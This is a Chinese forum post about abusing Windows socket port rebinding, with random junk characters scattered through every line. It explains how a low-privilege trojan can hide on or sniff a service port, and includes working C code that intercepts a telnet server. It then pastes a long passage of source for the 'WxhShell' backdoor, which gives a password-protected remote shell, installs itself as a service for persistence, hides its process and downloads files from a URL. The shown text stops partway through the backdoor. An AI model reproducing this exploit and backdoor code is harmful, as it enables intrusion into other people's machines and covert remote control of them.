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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: e L.(p k^<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Y<0 4RV  
b~-%c_  
  saddr.sin_family = AF_INET; N?X~w <  
LL$_zK{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <w\:<5e'  
$`Ix:gi  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~n}k\s~|4  
7^T^($+6s&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @]bPVG?d  
>[6{LAe~hp  
  这意味着什么?意味着可以进行如下的攻击: hQNe;R5  
,.gQ^^+=  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ){r2T1+-%  
h~wi6^{&Y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >hH0Q5aL  
GA`PY-Vs)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )#F]G$51r  
~zHg[X*  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {D g_?._d  
 X\}Y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Dz./w  
z6py"J@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 M# 18H<]  
~afg)[(  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :iR \%  
M,}|tsL  
  #include 0j(M* sl  
  #include L#)(H^[  
  #include XlI!{qj|  
  #include    5'a3huRtV  
  DWORD WINAPI ClientThread(LPVOID lpParam);   _Jv 9F8v  
  int main() #.[AK_S5&  
  { s( <uo{  
  WORD wVersionRequested; &uUo3qXQ5l  
  DWORD ret; %zU`XVNN+  
  WSADATA wsaData; }3R13   
  BOOL val; ,<DB&&EV8  
  SOCKADDR_IN saddr; n41@iK2l  
  SOCKADDR_IN scaddr; 7*DMVok:  
  int err; 20rkKFk*  
  SOCKET s; E2L(wt}^  
  SOCKET sc; }IEb yb  
  int caddsize; F_uY{bg  
  HANDLE mt; Z`3ufXPNlO  
  DWORD tid;   ~el3I=KC}  
  wVersionRequested = MAKEWORD( 2, 2 ); [Pe#kzLX  
  err = WSAStartup( wVersionRequested, &wsaData ); V 0nn4dVO  
  if ( err != 0 ) { 80M;4nH^5  
  printf("error!WSAStartup failed!\n"); )rLMIk  
  return -1; -yDs< Xl  
  } ":3 VJ(eY  
  saddr.sin_family = AF_INET; juBw5U<  
   6a}"6d/sTL  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 k#bu#YZk  
FZiW|G  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); A$g+K,.l  
  saddr.sin_port = htons(23); 56hA]O29O  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) YJxw 'U >P  
  { ~tB;@e  
  printf("error!socket failed!\n"); e$c?}3E!z  
  return -1; aj,)P3DJu  
  } /9y aW7w  
  val = TRUE; -VDo[Zy  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 R6 XuA(5  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5W =(+Q>C  
  { ^5=UK7e5KY  
  printf("error!setsockopt failed!\n"); =G~~?>=@2  
  return -1; zm9TvoC%}  
  } Wi n8LOC  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [=*E+Oc  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +kdySWF  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }2)DPP:ic  
!\[+99F#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (UNtRz'=;  
  { xa( m5P  
  ret=GetLastError(); ^C&+ ~+  
  printf("error!bind failed!\n"); *5%*|>  
  return -1; 9+YD!y  
  } P,gdnV ^  
  listen(s,2); gM;}#>6  
  while(1) u}9fj  
  { ,gnQa  
  caddsize = sizeof(scaddr); %>Xr5<$:&  
  //接受连接请求 Mu_i$j$vvP  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !Q-wdzsp?  
  if(sc!=INVALID_SOCKET) BX;5wKfA  
  { iZ[tHw||  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); NnxM3*  
  if(mt==NULL) {F*N=pSq  
  { )Du -_Z  
  printf("Thread Creat Failed!\n"); zW{ 6Eg  
  break; .BTx&AqU  
  } >e5zrgV  
  } Pn TZ/|  
  CloseHandle(mt); SA6hbcYk  
  } h"QbA"  
  closesocket(s); (0*v*kYdL+  
  WSACleanup(); Zcd7*EBdx  
  return 0; "2n;3ByR  
  }   [ET6(_=b  
  DWORD WINAPI ClientThread(LPVOID lpParam) ( (3t:  
  { &jts:^N>  
  SOCKET ss = (SOCKET)lpParam; UFZ"C,  
  SOCKET sc; xi {|  
  unsigned char buf[4096]; oo'w-\2]p  
  SOCKADDR_IN saddr; @vH2Vydu  
  long num; ZW ye> ]  
  DWORD val; l[n@/%2  
  DWORD ret; =mrY/ :V  
  //如果是隐藏端口应用的话,可以在此处加一些判断 okBE|g  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   :k!j"@r  
  saddr.sin_family = AF_INET; `!c,y~r[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); j8 H Oc(  
  saddr.sin_port = htons(23); QJ<[Zx  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dXP6"V@iI  
  { S!j^|!  
  printf("error!socket failed!\n"); Jirct,k  
  return -1; 7~.ZE   
  } i>Iee^_(  
  val = 100; Qyj(L[KJ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5-p.MGso  
  { &telCg:  
  ret = GetLastError(); $Xt;A&l2?  
  return -1; Yn 1?#%%  
  } GoeIjuELR  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :o\5K2]:  
  { _'c+fG \  
  ret = GetLastError(); 8IWw jyRr  
  return -1; 6GOg_P  
  } ^gm>!-Gx  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) h*'d;_(,  
  { ~PYFYjHC  
  printf("error!socket connect failed!\n"); >-<F)  
  closesocket(sc); 4g!7 4a  
  closesocket(ss); 56ZrCr  
  return -1; t&f" jPu>  
  } cj^bh  
  while(1) L1MrrC  
  { ('HxHOh2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 c(:Oyba  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 bFn(w:1Q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7sguGwg)_  
  num = recv(ss,buf,4096,0); JX&~y.F  
  if(num>0) sS'{QIRC'  
  send(sc,buf,num,0); >t,O2~  
  else if(num==0) 5Jd` ^U  
  break; 'RQiLUF  
  num = recv(sc,buf,4096,0); iPkT*Cl8  
  if(num>0) Fo LDMx(  
  send(ss,buf,num,0); . =R=cA7  
  else if(num==0) LT& /0  
  break; IdmD.k0pJ  
  } P,`=]Y*  
  closesocket(ss); Xr2 Wa  
  closesocket(sc); (-'PD_|  
  return 0 ;  0/*X=5  
  } n531rkK-   
5E.vje{U;  
@aUZ#,(<  
========================================================== X$PS(_M  
oo'iwq-\  
下边附上一个代码,,WXhSHELL :^.u-bHI  
R{ 4u|A?9  
========================================================== Ss+F9J  
ZgK@Fl*k  
#include "stdafx.h" gvK"*aIj  
rSbQ}O4V  
#include <stdio.h> eoJFh  
#include <string.h> qWkx:-g]  
#include <windows.h> ]svw CPu C  
#include <winsock2.h> h4hd<,  
#include <winsvc.h> qm~Kw!kV  
#include <urlmon.h> w[|y0jtw  
s?HsUD$b  
#pragma comment (lib, "Ws2_32.lib") sbpu qOL  
#pragma comment (lib, "urlmon.lib") (s.o  
)y5iH){ !  
#define MAX_USER   100 // 最大客户端连接数 [!5l0{0  
#define BUF_SOCK   200 // sock buffer z[%[bs2{  
#define KEY_BUFF   255 // 输入 buffer B piEAwh  
nWd:>Ur  
#define REBOOT     0   // 重启 ~LSy7$rz  
#define SHUTDOWN   1   // 关机 `yy%<&  
E:%>0FE  
#define DEF_PORT   5000 // 监听端口 -<_+-t  
=:kiSrBS3t  
#define REG_LEN     16   // 注册表键长度 zCyR<as7  
#define SVC_LEN     80   // NT服务名长度 L/c4"f|.*v  
P: jDB{  
// 从dll定义API #V,LNX)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $]xE$dzJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6 bYC  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -i2D#i'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g6HphRJ5s  
(q0No26;(  
// wxhshell配置信息 4,o %e,z  
struct WSCFG { jo]m1 2ps  
  int ws_port;         // 监听端口 &II JKn|_  
  char ws_passstr[REG_LEN]; // 口令 uv?8V@x2  
  int ws_autoins;       // 安装标记, 1=yes 0=no hqdC9?\  
  char ws_regname[REG_LEN]; // 注册表键名 ' }y]mFpF  
  char ws_svcname[REG_LEN]; // 服务名 i/l!Cr2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &h98.A*&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &Xj{:s#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  zjZ;xn  
int ws_downexe;       // 下载执行标记, 1=yes 0=no g| _HcaW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7[(Lrx.pM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @&/s~3  
*C[4 (DmB  
}; ahK?]:&QO  
L{+&z7M  
// default Wxhshell configuration ~xsb5M5  
struct WSCFG wscfg={DEF_PORT, 6{Krw \0  
    "xuhuanlingzhe", z(8)1#(n7  
    1, JNU"5sB  
    "Wxhshell", OqAh4qa,$  
    "Wxhshell", \<0G kp  
            "WxhShell Service", :mCw.Jz<h  
    "Wrsky Windows CmdShell Service", ?uNTUU,  
    "Please Input Your Password: ", B]+7 JB  
  1, 0:7v/S!:  
  "http://www.wrsky.com/wxhshell.exe", 'Qp&,xK  
  "Wxhshell.exe" A&X  
    }; ~Hp#6+  
bUY:XmA  
// 消息定义模块 4eDmLC"Y *  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F:[Nw#gj/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gNMKGf\Y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (6b?ir~  
char *msg_ws_ext="\n\rExit."; ,6y-.m7>  
char *msg_ws_end="\n\rQuit."; 0{^l2?mgSb  
char *msg_ws_boot="\n\rReboot..."; 0XBBA0t q  
char *msg_ws_poff="\n\rShutdown..."; tS_xa  
char *msg_ws_down="\n\rSave to "; iMOPD}`IX  
>S-N|uR6  
char *msg_ws_err="\n\rErr!"; sp=7Kh?|>  
char *msg_ws_ok="\n\rOK!"; V{ a}#J  
r-1yJ  
char ExeFile[MAX_PATH]; DRKc&F6Qy  
int nUser = 0; (IO \+  
HANDLE handles[MAX_USER]; EA%#/n  
int OsIsNt; Sh~ 8jEk  
YKs^%GO+  
SERVICE_STATUS       serviceStatus; FEm1^X#]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; On2Vf*G@|  
.5Z,SGBf  
// 函数声明 F| ,Vw{  
int Install(void); O;&yA<  
int Uninstall(void); lyOrM7Gs  
int DownloadFile(char *sURL, SOCKET wsh); {3F}Slb  
int Boot(int flag); SoM ]2^  
void HideProc(void); 2S7H_qo$  
int GetOsVer(void); CwH)6uA  
int Wxhshell(SOCKET wsl); $fj"*   
void TalkWithClient(void *cs); Gr"2G,,VI  
int CmdShell(SOCKET sock); LNyL>VHkK  
int StartFromService(void); Q%AS ;(d  
int StartWxhshell(LPSTR lpCmdLine); /%}YuN  
1VPN#Q!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +^]PBMM1w  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,Rr&.  
dTU.XgX)1^  
// 数据结构和表定义 zM9).D H  
SERVICE_TABLE_ENTRY DispatchTable[] = @]VvqCk  
{ +2k|g2  
{wscfg.ws_svcname, NTServiceMain}, Tr}$Pb1  
{NULL, NULL} |]]pHC_/W  
}; 2}xFv2X  
Jj^<:t5{rN  
// 自我安装 \PtC  
int Install(void) &|&YRHv  
{ mG8  
  char svExeFile[MAX_PATH]; +D{*L0$D"  
  HKEY key; N- ?|]4e/  
  strcpy(svExeFile,ExeFile); ekk&TTp#  
t73Z3M  
// 如果是win9x系统,修改注册表设为自启动 o4I!VK(C#s  
if(!OsIsNt) { $0`$)(Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 77=y!SDP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p6eDd"Y  
  RegCloseKey(key); dW=D]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z&HN>7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g9r5t';  
  RegCloseKey(key); cwD*>[j  
  return 0; '>WuukC  
    } /Geks/  
  } Xy8ie:D  
} @v-)|8GdY  
else { Z?!:=x>7m  
z&yb_A:>  
// 如果是NT以上系统,安装为系统服务 {pJ@I=q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y| N vBr  
if (schSCManager!=0) I9j+x ])  
{ fM[fS?W  
  SC_HANDLE schService = CreateService kKk |@  
  ( +q, n}@y=  
  schSCManager, /dvnQW4}8  
  wscfg.ws_svcname, &+r ;>  
  wscfg.ws_svcdisp, 6_}){ZR  
  SERVICE_ALL_ACCESS, _R<V8g1f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uc(yos  
  SERVICE_AUTO_START, R O3e  
  SERVICE_ERROR_NORMAL, )+{omQ7v  
  svExeFile, TboHP/  
  NULL, eRqexqO!  
  NULL, ,["|wqM  
  NULL, >D^7v(&  
  NULL, d~f0]O  
  NULL 9qO:K79|  
  ); rpP+20v  
  if (schService!=0) hs#s $})}Z  
  { 0~L 8yMM  
  CloseServiceHandle(schService); wT AEJ{p  
  CloseServiceHandle(schSCManager); f!kdcr=/"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iqKfMoy5  
  strcat(svExeFile,wscfg.ws_svcname); {^O/MMB\\%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cM'[;u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }PD(kk6fX  
  RegCloseKey(key); Gqz)='  
  return 0; J<:D~@qq  
    } :bF2b..XOu  
  } ,xM*hN3A  
  CloseServiceHandle(schSCManager); ]( 6vG$\  
} @KRn3$U  
} Fu$Gl$qV?%  
]` Gz_e  
return 1; `[u>NEb  
} a ZCZ/  
5N</Z6f'o  
// 自我卸载 2i'-lM=  
int Uninstall(void) bzL;)H4Eo  
{ [&}<! :9'  
  HKEY key; FbNQ  
EjCzou  
if(!OsIsNt) { T`0gtSS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {.8)gVBmA  
  RegDeleteValue(key,wscfg.ws_regname); ;? QAPTz  
  RegCloseKey(key); $,v+i -  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 91Sb= 9  
  RegDeleteValue(key,wscfg.ws_regname); <u% e*  
  RegCloseKey(key); .8xacVyK2  
  return 0; #Lt+6sa]2@  
  } -hV KPIb  
} Q2WrB+/  
} 8}b[Q/h!  
else { ~=]@], {  
b6M)qt9R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K]Cs2IpI  
if (schSCManager!=0) iK0J{'  
{ HQj4h]O#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JWjp<{Q; 1  
  if (schService!=0) :v ~q  
  { &zDFf9w2{  
  if(DeleteService(schService)!=0) { }(I DPaJ  
  CloseServiceHandle(schService); \B +SzW  
  CloseServiceHandle(schSCManager); `fh_8%m]*  
  return 0; weadY,-H8  
  } otVdx&%]  
  CloseServiceHandle(schService); 8pt<)Rs}  
  } FQRcZpv;  
  CloseServiceHandle(schSCManager); nk.E q[08  
} f3B8,>  
} 4T\/wyq0  
^u&Khc~ y  
return 1; WC;a  
} k"-#ox!  
eC:Q)%$%l  
// 从指定url下载文件 iz5wUyeg  
int DownloadFile(char *sURL, SOCKET wsh) 9rc n*sm  
{ 3Ya6yz  
  HRESULT hr; k$- q; VI  
char seps[]= "/"; Eu~wbU"%  
char *token; JU+'UK630  
char *file; KftM4SFbK  
char myURL[MAX_PATH]; #$T"QL@  
char myFILE[MAX_PATH]; qnV9TeU)  
>5W"a?(  
strcpy(myURL,sURL); L 'Rapu  
  token=strtok(myURL,seps); 1caod0gor  
  while(token!=NULL) [m&ZAq  
  { q9]L!V 9Rv  
    file=token; LZ dNG\-  
  token=strtok(NULL,seps); r}Av"  
  } _ 9]3S>Rn  
I"?&X4%e  
GetCurrentDirectory(MAX_PATH,myFILE); >&z+ih  
strcat(myFILE, "\\"); ,1+_k ="Z  
strcat(myFILE, file); u6d~d\  
  send(wsh,myFILE,strlen(myFILE),0); 4=cq76  
send(wsh,"...",3,0); YIqfGXu8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^Pp FI  
  if(hr==S_OK) BVeNK=7m%  
return 0; k;X1x65uP  
else zwK;6&(W  
return 1; K7Tell\`  
=%G[vm/-)  
} qE=OQs9  
wajhFBJ  
// 系统电源模块 1"PE@!]  
int Boot(int flag) )C6 7qY  
{ 1yc@q8  
  HANDLE hToken; E.9k%%X]  
  TOKEN_PRIVILEGES tkp; |/Z)?  
p8J"%Jq}  
  if(OsIsNt) { 8"^TWzg}L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H.K`#W&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); w+P^c|  
    tkp.PrivilegeCount = 1; yBKlp08J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `vBa.)u  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i|'t!3I^m  
if(flag==REBOOT) { Wb xksh:)Q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ZK*aVYnu  
  return 0; y$NG..S  
} _.LWc^Sg  
else { x*)O<K  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @U5>w\  
  return 0; NDG Bvb  
} )Cfrqe1^  
  } Lcm!e  
  else { ??Ac=K\  
if(flag==REBOOT) { 2 wvDC@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &i RX-)^u  
  return 0; r U5'hK  
} t,nB`g?  
else { #1R %7*$i  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gvYs<,:  
  return 0; B[50{;X  
} 2_v>8B  
} :"]ei@  
$S{j}74[  
return 1; cIjsUqKa  
} DcHMiiVM  
"<#:\6aym  
// win9x进程隐藏模块 xM\ApN~W  
void HideProc(void) p60D{UzU  
{ Eq{TZV  
#C mBgxg+M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pT tX[CE  
  if ( hKernel != NULL ) XvY-C  
  { fO nvC*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;wrgpP3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Jmx }r,j  
    FreeLibrary(hKernel); 37Y]sJrs$  
  } |e >-v  
eH{ 9w8~  
return; 6Tnzg`0I  
} ]9Hy "#Fz  
Ea?.H Rxl  
// 获取操作系统版本 F)Lbr>H?I  
int GetOsVer(void)  sd%~pY}  
{ /G;yxdb  
  OSVERSIONINFO winfo; >Z% `&D~u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y2n*T KXI,  
  GetVersionEx(&winfo); M='Kjc>e  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p6'8l~W+  
  return 1; 3LR Eue7Gr  
  else RSC-+c6 1  
  return 0; _(foJRr  
} s=4.Ovd\  
$(U|JR@  
// 客户端句柄模块 X$f%Ss  
int Wxhshell(SOCKET wsl) .EO1{2=  
{ L8ke*O$  
  SOCKET wsh; $'q(Z@  
  struct sockaddr_in client; nCU4a1rZ  
  DWORD myID; cx}-tj"m-  
k9n93I|Cm  
  while(nUser<MAX_USER) *b EsWeP  
{ g:U ul4  
  int nSize=sizeof(client); "T|\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;H lv  
  if(wsh==INVALID_SOCKET) return 1; Cx[4 /~_<  
iq$/ 6!t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /eQn$ZRP,  
if(handles[nUser]==0) %L3]l  
  closesocket(wsh); Pp2 )P7  
else N;Bal/kd2  
  nUser++; 'Nh^SbD+_|  
  } zKNk(/y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); sXu]k#I^"  
KXJHb{?  
  return 0; s><co]  
} AM>:At Y  
JFZ p^{  
// 关闭 socket P*>V6SK>b  
void CloseIt(SOCKET wsh) ioggD  
{ Tx*m p+q  
closesocket(wsh); #82B`y<<y/  
nUser--; $Tg$FfD6&  
ExitThread(0); `;;!>rm  
} - g0>>{M'  
:&m(WZ \  
// 客户端请求句柄 #=rR[:M  
void TalkWithClient(void *cs) 7F.,Xvw&@  
{ art{PV4-  
/03>|Juo  
  SOCKET wsh=(SOCKET)cs; r`2& o  
  char pwd[SVC_LEN]; \ (,2^T'$J  
  char cmd[KEY_BUFF]; }1V&(#H2  
char chr[1]; a|.u;  
int i,j; {Fj`'0Xu;  
@UKd0kxPN{  
  while (nUser < MAX_USER) { C1=[\c~jw  
(k?OYz]c  
if(wscfg.ws_passstr) { cnR>)9sX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5 F-Q&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U:Y?2$#  
  //ZeroMemory(pwd,KEY_BUFF); h>wU';5#f  
      i=0; bm;4NA?Gg  
  while(i<SVC_LEN) { ]9' \<uR  
cQ`,:t#[  
  // 设置超时 ?U |lZ~o  
  fd_set FdRead; +~-|( y  
  struct timeval TimeOut; DcOLK\  
  FD_ZERO(&FdRead); hXCDlCO  
  FD_SET(wsh,&FdRead); ;bX{7j  
  TimeOut.tv_sec=8; .qZ<ROZ  
  TimeOut.tv_usec=0; b|NEU-oy  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y3[@(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); + '`RJ,K+[  
CVm*Q[5s"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R:Lu)d>=  
  pwd=chr[0]; 9cLKb  
  if(chr[0]==0xd || chr[0]==0xa) { M0|z^2  
  pwd=0; %X3T<3<  
  break; W;=ZQ5Lw  
  } n3(HA  
  i++; jzQgD ed ]  
    } 6vDgM fw  
E~B LY{3:  
  // 如果是非法用户,关闭 socket KnuqU2< {  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SC#  
} KLX>QR@  
}5K\ l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iY="M_kQ_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e*tOXXY1  
m\(a{x  
while(1) { w"~T5%p  
s SDBl~g  
  ZeroMemory(cmd,KEY_BUFF); gY%-0@g  
)lZb=t  
      // 自动支持客户端 telnet标准   %EuSP0  
  j=0; `!i>fo~  
  while(j<KEY_BUFF) { <*L8kNykK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K$4Ky&89  
  cmd[j]=chr[0]; =_5-z|<  
  if(chr[0]==0xa || chr[0]==0xd) { [Mx+t3M  
  cmd[j]=0; p|zW2L  
  break; x`4">:IA  
  } e. [h  
  j++; "h "vp&A  
    } C`fQ` RL\  
}u :sh >2  
  // 下载文件 m 9r X  
  if(strstr(cmd,"http://")) { [|vd r.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b<%6aRC\  
  if(DownloadFile(cmd,wsh)) #}.db?[Rv  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); dP82bk/e  
  else C[75 !F   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1'ZBtX~A  
  } &a V`u?'e  
  else { TV}H  
bFcI\Q{4  
    switch(cmd[0]) { !(/dbHB  
  :>|[ o&L  
  // 帮助 ).\%a h  
  case '?': { `,J\E<4J  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L9T|*?||  
    break; u BvN*LQ  
  } :p89J\  
  // 安装 _f/6bpv  
  case 'i': { bi QDupTz  
    if(Install()) D_g+O"];P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gF&1e5`i  
    else 8< R#}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W_%Dg]l   
    break; 6:H@= fEv  
    } HN\9 d  
  // 卸载 k/>k&^?  
  case 'r': { v81<K*w`P  
    if(Uninstall()) $%ps:ui~X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y\S}U{*Z'  
    else YH@^6Be9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Dc U$sf*  
    break; fnB[b[  
    } :M3Fq@w=  
  // 显示 wxhshell 所在路径 *&XOzaVU  
  case 'p': { g/eE^o ~;  
    char svExeFile[MAX_PATH];  Hi#hf"V  
    strcpy(svExeFile,"\n\r"); R,8;GS42  
      strcat(svExeFile,ExeFile); nPE{Gp) }  
        send(wsh,svExeFile,strlen(svExeFile),0); T< D&%)  
    break; ta %yQd7  
    } u{J$]%C   
  // 重启 12.|Ed*72  
  case 'b': { U`z=!KI+g  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n&Bgpt~  
    if(Boot(REBOOT)) /C}u,dBf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %AaZc=a[c  
    else { fC&hi6  
    closesocket(wsh); vkp_v1F%+  
    ExitThread(0); :wtK'ld  
    } tw,uV)xm  
    break; FG/1!8F  
    } ka0MuQ M  
  // 关机 uWkW T.>$  
  case 'd': { *jM]:GpyoU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G8}k9?26(  
